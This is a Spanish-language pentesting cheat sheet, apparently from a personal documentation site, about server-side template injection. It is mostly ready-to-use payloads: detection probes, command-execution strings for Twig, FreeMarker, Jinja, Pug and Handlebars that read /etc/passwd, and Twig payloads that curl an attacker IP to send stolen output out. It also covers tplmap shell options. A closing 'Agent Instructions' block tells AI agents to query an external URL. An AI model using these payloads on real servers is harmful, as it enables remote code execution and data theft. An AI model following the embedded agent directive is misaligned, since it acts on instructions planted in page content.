# Server-side template injection (SSTI)

## Template engines

| Template engine   | Lenguaje          | Server / client side     |
| ----------------- | ----------------- | ------------------------ |
| Twig              | PHP               | Server side              |
| Apache FreeMarker | Java (usualmente) | Server side              |
| Jinja             | Python            | Server side              |
| Pug / Jade        | JavaScript        | Server side (usualmente) |
| Handlebars        | JavaScript        | Server and client side   |
| Mustache          | Varios            | Server and client side   |

## Identificación general de SSTI

```sh
# payloads general
{1234*2}
{1234+1234}
%{1234*2}
%{1234+1234}
<%= 1234*2 %>
<%= 1234+1234 %>
${1234*2}
${1234+1234}
{{1234*2}}
{{1234+1234}}
#{1234*2}
#{1234+1234}
@{1234*2}
@{1234+1234}
@(1234*2)
@(1234+1234)

# identificación
2468
2,468
2.468
<2468>

# payloads error
${{<%[%'"}}%\.
<%= foobar %>
```

* <https://github.com/MrW0l05zyn/pentesting/blob/master/web/payloads/ssti/common-ssti-payloads.txt>
* [Payloads All The Things](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection).

### Arbol de decisión para la identificación del motor de plantilla

<figure><img src="/files/DQaZRWDGPzVEFGwtFgBG" alt=""><figcaption><p>Arbol de decisión para la identificación del motor de plantilla</p></figcaption></figure>

## Twig

Identificación general.

```twig
{{1234*'2'}}
2468
{{-2468-}}
2468
```

Payloads generales.

```twig
{{1234*2}}
{{1234*'2'}}
{{1234+1234}}
{{1234+'1234'}}
{{-2468-}}
{{[0]|reduce('system','id')}}
{{[0]|reduce('passthru','id')}}
{{[0]|reduce('system','cat /etc/passwd')}}
{{[0]|reduce('passthru','cat /etc/passwd')}}
{{['id']|filter('system')}}
{{['id']|filter('passthru')}}
{{['cat /etc/passwd']|filter('system')}}
{{['cat /etc/passwd']|filter('passthru')}}
{{['id']|map('system')|join}}
{{['id']|map('passthru')}}
{{['cat /etc/passwd']|map('system')|join}}
{{['cat /etc/passwd']|map('passthru')|join}}
```

### Out-of-band (OOB)

Habilitación de servidor HTTP.

```sh
python -m SimpleHTTPServer <port>
python3 -m http.server <port>
```

Identificación de SSTI out of bound (blind).

```twig
{{[0]|reduce('system','curl http://<attacker-IP-address>/oob')}}
```

Ejecución de comandos.

```twig
{% set output %}
{{[0]|reduce('system','id')}}
{% endset %}

{% set exfil = output| url_encode %}
{{[0]|reduce('system','curl http://<attacker-IP-address>/?oob=' ~ exfil)}}
```

Lectura de archivos.

```twig
{% set output %}
{{[0]|reduce('system','cat /etc/passwd')}}
{% endset %}

{% set exfil = output| url_encode %}
{{[0]|reduce('system','curl http://<attacker-IP-address>/?oob=' ~ exfil)}}
```

## Apache FreeMarker

Identificación general.

```ftl
${1234*2}
2,468
2.468
```

```ftl
${1234*2}
${1234+1234}
${"freemarker.template.utility.Execute"?new()("id")}
${"freemarker.template.utility.Execute"?new()("cat /etc/passwd")}
```

## Jinja

Identificación general.

```django
{{"2468"*3}}
246824682468
```

```django
{{1234*2}}
{{1234+1234}}
{{config|pprint}}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("id").read()}}{%endif%}{% endfor %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("cat /etc/passwd").read()}}{%endif%}{% endfor %}
```

## Pug / Jade

Identificación general.

```pug
#{1234*"2"}
<2468>
```

```pug
#{1234*2}
#{1234*'2'}
#{1234+1234}
#{global.process.mainModule.require('child_process').spawnSync('id').stdout}
#{global.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}
```

## Handlebars

```handlebars
{{#each (readdir "/etc")}}
    {{this}}
{{/each}}

{{read "/etc/passwd"}}
```

## Herramientas automatizadas

### Tplmap

* <https://github.com/epinna/tplmap>

Instalación.

```sh
git clone https://github.com/epinna/tplmap.git
cd tplmap
pip install virtualenv
virtualenv -p python2 virtualenv-tplmap
source virtualenv-tplmap/bin/activate
pip install -r requirements.txt
./tplmap.py
```

Utilización de herramienta.

```sh
# Método GET
./tplmap.py -u "http://<target>/index.php?<parameter>=value*"

# Método POST
./tplmap.py -u "http://<target>" -d <parameter>="value*"

# Ejecución de comandos
--os-cmd=<command>

# Shell interactiva
--os-shell
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://web.mrw0l05zyn.cl/explotacion/server-side-template-injection-ssti.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.